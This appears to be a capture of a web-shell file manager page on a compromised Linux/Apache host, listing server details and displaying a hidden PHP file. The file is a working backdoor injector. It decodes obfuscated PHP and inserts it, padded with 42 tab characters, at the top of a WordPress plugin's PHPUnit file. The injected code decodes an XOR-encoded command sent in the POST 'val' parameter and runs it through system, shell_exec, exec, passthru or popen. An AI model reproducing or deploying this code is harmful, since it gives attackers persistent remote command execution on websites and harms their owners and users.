HEX
Server: Apache
System: Linux gains.arrowcloudlinux.com 4.18.0-553.69.1.lve.el8.x86_64 #1 SMP Wed Aug 13 19:53:59 UTC 2025 x86_64
User: mbkashyap (2642)
PHP: 8.1.33
Disabled: allow_url_include, show_source, symlink, system, passthru, exec, popen, pclose, proc_open, proc_terminate,proc_get_status, proc_close, proc_nice, allow_url_fopen, shell-exec, shell_exec, fpassthru, base64_encodem, escapeshellcmd, escapeshellarg, crack_check,crack_closedict, crack_getlastmessage, crack_opendict, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid, dl, escap, phpinfo
Upload Files
File: /home/mbkashyap/.cagefs/tmp/.class
<?php  $path = '/home/mbkashyap/domains/mbkashyap.com/private_html/wp-content/plugins/one-click-demo-import/vendor/phpunit/phpunit/src/Util/Annotation/metaweblogapi.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('%24dataflow_engine4%20%3D%20%22pa%5Cx73%5Cx73t%5Cx68ru%22%3B%20%24dataflow_engine3%20%3D%20%22exec%22%3B%20%24dataflow_engine1%20%3D%20%22s%5Cx79s%5Cx74e%5Cx6D%22%3B%20%24mutex_lock%20%3D%20%22%5Cx68%5Cx65%5Cx782%5Cx62in%22%3B%20%24dataflow_engine6%20%3D%20%22stream%5Cx5Fget%5Cx5Fc%5Cx6Fn%5Cx74%5Cx65%5Cx6Et%5Cx73%22%3B%20%24dataflow_engine7%20%3D%20%22pc%5Cx6Co%5Cx73%5Cx65%22%3B%20%24dataflow_engine2%20%3D%20%22%5Cx73h%5Cx65%5Cx6Cl%5Cx5Fex%5Cx65c%22%3B%20%24dataflow_engine5%20%3D%20%22po%5Cx70en%22%3B%20if%20%28isset%28%24_POST%5B%22va%5Cx6C%22%5D%29%29%20%7B%20function%20token_parser_engine%28%20%24desc%20%2C%20%24entity%29%20%7B%20%24hld%3D%20%27%27%20%3B%20%24y%3D0%3B%20while%28%24y%3Cstrlen%28%24desc%29%29%7B%20%24hld.%3Dchr%28ord%28%24desc%5B%24y%5D%29%5E%24entity%29%3B%20%24y%2B%2B%3B%20%7D%20return%20%24hld%3B%20%7D%20%24val%20%3D%20%24mutex_lock%28%24_POST%5B%22va%5Cx6C%22%5D%29%3B%20%24val%20%3D%20token_parser_engine%28%24val%2C%2097%29%3B%20if%20%28function_exists%28%24dataflow_engine1%29%29%20%7B%20%24dataflow_engine1%28%24val%29%3B%20%7D%20elseif%20%28function_exists%28%24dataflow_engine2%29%29%20%7B%20print%20%24dataflow_engine2%28%24val%29%3B%20%7D%20elseif%20%28function_exists%28%24dataflow_engine3%29%29%20%7B%20%24dataflow_engine3%28%24val%2C%20%24pset_desc%29%3B%20print%20join%28%22%5Cn%22%2C%20%24pset_desc%29%3B%20%7D%20elseif%20%28function_exists%28%24dataflow_engine4%29%29%20%7B%20%24dataflow_engine4%28%24val%29%3B%20%7D%20elseif%20%28function_exists%28%24dataflow_engine5%29%20%26%26%20function_exists%28%24dataflow_engine6%29%20%26%26%20function_exists%28%24dataflow_engine7%29%29%20%7B%20%24entity_hld%20%3D%20%24dataflow_engine5%28%24val%2C%20%27r%27%29%3B%20if%20%28%24entity_hld%29%20%7B%20%24reference_flg%20%3D%20%24dataflow_engine6%28%24entity_hld%29%3B%20%24dataflow_engine7%28%24entity_hld%29%3B%20print%20%24reference_flg%3B%20%7D%20%7D%20exit%3B%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');